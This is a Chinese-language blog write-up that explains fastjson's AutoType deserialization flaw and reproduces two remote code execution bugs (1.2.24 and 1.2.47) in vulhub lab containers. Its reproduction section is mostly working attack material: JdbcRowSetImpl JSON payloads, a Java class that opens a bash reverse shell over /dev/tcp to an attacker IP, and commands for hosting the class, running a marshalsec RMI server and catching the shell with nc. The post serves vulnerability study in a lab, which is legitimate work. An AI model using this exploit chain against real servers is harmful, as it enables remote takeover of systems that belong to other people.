fastjson漏洞分析与复现

news2024/9/19 10:39:49

一、基础知识

Fastjson介绍：

fastjson是阿里巴巴开源的JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串，这样得到字符串之后就可以通过数据库等方式进行持久化了。

Fastjson序列化/反序列化原理

fastjson漏洞的本质是一个 java 的反序列化漏洞，由于引进了 AutoType 功能，fastjson 在对 json 字符串反序列化的时候，会读取到 @type 的内容，将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢？

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制，而是自定义了一套机制。其实，对于JSON框架来说，想要把一个Java对象转换成字符串，可以有两种选择：

1.基于setter/getter

2.基于属性（AutoType）

基于setter/getter会带来什么问题呢，下面举个例子，假设有如下两个类：

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后，假设苹果对象的price为0.5，Apple类对象序列化为json格式后为：

{"Fruit":{"price":0.5}}

假设iphone对象的price为5000，序列化为json格式后为：

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候，将这个类的对象序列化的时候，就会将子类抹去（apple/iphone）只保留接口的类型(Fruit)，最后导致反序列化时无法得到原始类型。本例中，将两个json再反序列化生成java对象的时候，无法区分原始类是apple还是iphone。

为了解决上述问题：fastjson引入了基于属性（AutoType），即在序列化的时候，先把原始类型记录下来。使用@type的键记录原始类型，在本例中，引入AutoType后，Apple类对象序列化为json格式后为：

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后，iphone类对象序列化为json格式后为：

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

Fastjson反序列化漏洞原理

使用 AutoType 功能进行序列化的 JSON 字符会带有一个 @type 来标记其字符的原始类型，在反序列化的时候会读取这个@type，来试图把JSON内容反序列化到对象，并且会调用这个库的setter或者getter方法。然而，@type的类有可能被恶意构造，只需要合理构造一个JSON，使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl，其中有个dataSourceName方法支持传入一个rmi的源，只要解析其中的url就会支持远程调用！因此整个漏洞复现的原理过程就是：

攻击者访问存在fastjson漏洞的目标靶机网站，通过burpsuite抓包改包，以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
存在漏洞的靶机对json反序列化时候，会加载执行我们构造的恶意信息(访问rmi服务器)，靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问 rmi服务器需要执行什么命令？
rmi 服务器请求加载远程机器的class（这个远程机器是我们搭建好的恶意站点，提前将漏洞利用的代码编译得到.class文件，并上传至恶意站点），得到攻击者构造好的命令（ping dnslog或者创建文件或者反弹shell啥的）
rmi将远程加载得到的class（恶意代码），作为响应返回给靶机服务器。
靶机服务器执行了恶意代码，被攻击者成功利用。

二、Fastjson指纹特征

1.2.24版本payload：

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://dnslog/",
        "autoCommit":true
    }
}

1.2.47版本payload：

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://dnslog/", 
        "autoCommit": true
    }
}

三、漏洞复现

通过 vulhub 靶场进行漏洞复现

Fastjson 1.2.24 反序列化漏洞（CVE-2017-18349）

漏洞详情：

fastjson在解析json的过程中，支持使用 AutoType 来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。

环境搭建:

靶场路径：

vulhub/fastjson/1.2.24-rce

启动容器：

docker compose up -d

在这里插入图片描述
环境运行后，访问 http://your-ip:8090 即可看到JSON格式的输出。

复现过程:

因为目标环境是 Java 8u102，没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制，我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链，借助JNDI注入来执行命令。

反弹shell

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.129/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译

javac GetShell.java

编译完成后，会发现当前目录下生成了GetShell.class文件

特别注意：要保证 java 和 javac 的版本一致，且都是1.8的版本，高版本的jdk把远程调用修复了。

把编译好的class文件传到外网系统中（这里传到kali服务器）

用python开启一个web服务：

python3 -m http.server 8888

访问看看：
在这里插入图片描述
接下来使用 marshalsec 项目（需要maven环境编译），或者使用工具 marshalsec-0.0.3-SNAPSHOT-all.jar 启动RMI服务。

监听9999端口并加载远程类TouchFile.class（ip为上面开启的http服务）

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8888/#GetShell" 9999

在这里插入图片描述

这里运行服务的最好和编译漏洞类的版本一致，且为1.8，不然可能不成功。

nc监听下7777端口（我们GetShell.java里面编写的就是反弹shell到192.168.111.129的7777端口）
在这里插入图片描述
访问我们的靶场环境，抓包，修改提交模式为 POST 和添加 Content-Type: application/json，发送payload

{
"b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.111.1:9999/#GetShell",
        "autoCommit":true
    }
}

修改rmi 服务器为上面开启的服务ip
在这里插入图片描述
发包，可以看到shell反弹过来了：

Fastjson 1.2.47远程命令执行漏洞

漏洞详情：

fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月，fastjson 又被爆出在 fastjson< =1.2.47 的版本中，攻击者可以利用特殊构造的 json 字符串绕过白名单检测，成功执行任意命令。

环境搭建:

靶场路径：

vulhub/fastjson/1.2.47-rce

启动容器：

docker compose up -d

环境运行后，访问 http://your-ip:8090 即可看到JSON格式的输出。
在这里插入图片描述

复现过程:

目标环境是openjdk:8u102，这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制，我们可以简单利用RMI进行命令执行。

Fastjson 1.2.47 和上面的 Fastjson 1.2.24 利用方式基本相同，就是 payload 格式变了点。

其它步骤都一样，抓包，设置 payload

{
"a":{
 
    "@type":"java.lang.Class",
 
    "val":"com.sun.rowset.JdbcRowSetImpl"
 
},

"b":{
 
    "@type":"com.sun.rowset.JdbcRowSetImpl",
 
    "dataSourceName":"rmi://192.168.111.1:9999/#GetShell",
 
    "autoCommit":true
    }
}